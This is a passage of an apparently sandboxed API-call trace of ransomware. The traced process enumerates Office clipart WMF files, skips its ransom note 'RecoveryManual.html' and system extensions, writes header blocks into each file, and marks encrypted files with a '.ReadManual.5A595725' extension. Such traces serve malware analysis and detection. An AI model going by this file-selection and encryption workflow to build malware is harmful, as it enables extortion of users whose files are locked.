Office\\CLIPART\\PUB60COR\\J0230558.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" [0268.815] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ReadManual.5A595725" [0268.815] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ReadManual.5A595725") returned 87 [0268.815] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38948379572) returned 1 [0268.815] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf")) returned 0x20 [0268.815] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.816] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4198) returned 1 [0268.816] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1066, lpName=0x0) returned 0x184 [0268.816] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.816] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.816] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.818] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.818] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1066) returned 0x2f0000 [0268.818] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.818] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38948724501) returned 1 [0268.819] CloseHandle (hObject=0x184) returned 1 [0268.819] SetSecurityInfo () returned 0x57 [0268.819] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.819] CloseHandle (hObject=0x194) returned 1 [0268.819] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0268.819] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232171.WMF" | out: lpString1="J0232171.WMF") returned="J0232171.WMF" [0268.819] lstrcmpiW (lpString1="J0232171.WMF", lpString2="RecoveryManual.html") returned -1 [0268.819] StrStrIW (lpFirst="J0232171.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.819] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.819] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.819] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" [0268.819] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ReadManual.5A595725" [0268.819] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ReadManual.5A595725") returned 87 [0268.819] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38948820745) returned 1 [0268.819] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf")) returned 0x20 [0268.820] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.820] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13098) returned 1 [0268.820] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x332a, lpName=0x0) returned 0x184 [0268.820] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.821] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.821] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.822] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.823] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x332a) returned 0x2f0000 [0268.823] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.823] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38949168949) returned 1 [0268.823] CloseHandle (hObject=0x184) returned 1 [0268.823] SetSecurityInfo () returned 0x57 [0268.823] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.823] CloseHandle (hObject=0x194) returned 1 [0268.823] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0268.823] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232393.WMF" | out: lpString1="J0232393.WMF") returned="J0232393.WMF" [0268.823] lstrcmpiW (lpString1="J0232393.WMF", lpString2="RecoveryManual.html") returned -1 [0268.823] StrStrIW (lpFirst="J0232393.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.823] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.823] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.823] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.823] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.823] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.824] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.824] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" [0268.824] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ReadManual.5A595725" [0268.824] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ReadManual.5A595725") returned 87 [0268.824] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38949265562) returned 1 [0268.824] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf")) returned 0x20 [0268.824] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.824] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27586) returned 1 [0268.824] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6bc2, lpName=0x0) returned 0x184 [0268.824] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.825] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.832] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.832] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6bc2) returned 0x2f0000 [0268.832] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.833] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38950139287) returned 1 [0268.833] CloseHandle (hObject=0x184) returned 1 [0268.833] SetSecurityInfo () returned 0x57 [0268.833] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.833] CloseHandle (hObject=0x194) returned 1 [0268.833] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0268.833] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232395.WMF" | out: lpString1="J0232395.WMF") returned="J0232395.WMF" [0268.833] lstrcmpiW (lpString1="J0232395.WMF", lpString2="RecoveryManual.html") returned -1 [0268.833] StrStrIW (lpFirst="J0232395.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.833] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.833] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.834] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.834] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" [0268.834] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ReadManual.5A595725" [0268.834] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.ReadManual.5A595725") returned 87 [0268.834] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38950245786) returned 1 [0268.834] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf")) returned 0x20 [0268.835] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.835] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41094) returned 1 [0268.835] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa086, lpName=0x0) returned 0x184 [0268.835] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.836] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.836] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.839] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.839] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa086) returned 0x2f0000 [0268.841] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38950968614) returned 1 [0268.841] CloseHandle (hObject=0x184) returned 1 [0268.841] SetSecurityInfo () returned 0x57 [0268.841] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.841] CloseHandle (hObject=0x194) returned 1 [0268.841] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0268.841] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232795.WMF" | out: lpString1="J0232795.WMF") returned="J0232795.WMF" [0268.841] lstrcmpiW (lpString1="J0232795.WMF", lpString2="RecoveryManual.html") returned -1 [0268.841] StrStrIW (lpFirst="J0232795.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.841] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.841] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.841] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.841] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.841] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.842] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.842] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" [0268.842] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ReadManual.5A595725" [0268.842] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.ReadManual.5A595725") returned 87 [0268.842] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38951068555) returned 1 [0268.842] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf")) returned 0x20 [0268.842] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.842] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14346) returned 1 [0268.842] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380a, lpName=0x0) returned 0x184 [0268.843] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.843] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.843] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.845] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.845] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380a) returned 0x2f0000 [0268.846] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.846] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38951441112) returned 1 [0268.846] CloseHandle (hObject=0x184) returned 1 [0268.846] SetSecurityInfo () returned 0x57 [0268.846] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.846] CloseHandle (hObject=0x194) returned 1 [0268.846] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0268.846] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232797.WMF" | out: lpString1="J0232797.WMF") returned="J0232797.WMF" [0268.846] lstrcmpiW (lpString1="J0232797.WMF", lpString2="RecoveryManual.html") returned -1 [0268.846] StrStrIW (lpFirst="J0232797.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.846] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.846] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.847] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" [0268.847] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ReadManual.5A595725" [0268.847] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.ReadManual.5A595725") returned 87 [0268.847] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38951539011) returned 1 [0268.847] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf")) returned 0x20 [0268.847] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.847] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35228) returned 1 [0268.847] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 